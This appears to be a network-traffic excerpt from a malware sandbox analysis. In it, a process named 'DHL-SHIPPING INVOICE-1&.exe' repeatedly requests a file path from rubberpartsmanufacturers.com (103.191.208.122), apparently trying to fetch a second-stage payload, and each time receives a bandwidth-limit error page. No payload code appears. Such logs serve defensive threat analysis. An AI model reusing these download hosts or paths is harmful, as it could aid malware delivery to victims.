Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:49 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:49 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:49 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:49 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	56899	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:51 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:52 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:52 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:52 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	56908	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:53 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:54 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:53 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:54 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	56927	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:57 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:57 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:57 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:57 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	56937	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:46:58 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:46:58 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:46:58 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:46:58 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	56948	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:00 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:00 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:00 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:00 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	56964	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:02 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:02 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:02 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:02 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	56972	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:03 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:04 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:04 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:04 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	56983	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:05 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:05 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:05 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:05 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	56991	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:06 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:07 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:07 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:07 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	57000	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:08 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:08 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:08 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:08 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	57008	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:09 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:10 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:09 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:10 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	57009	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:11 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:11 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:11 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:11 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	57010	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:12 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:13 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:12 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:13 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	57011	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:47:14 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:47:14 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:47:14 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:47:14 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
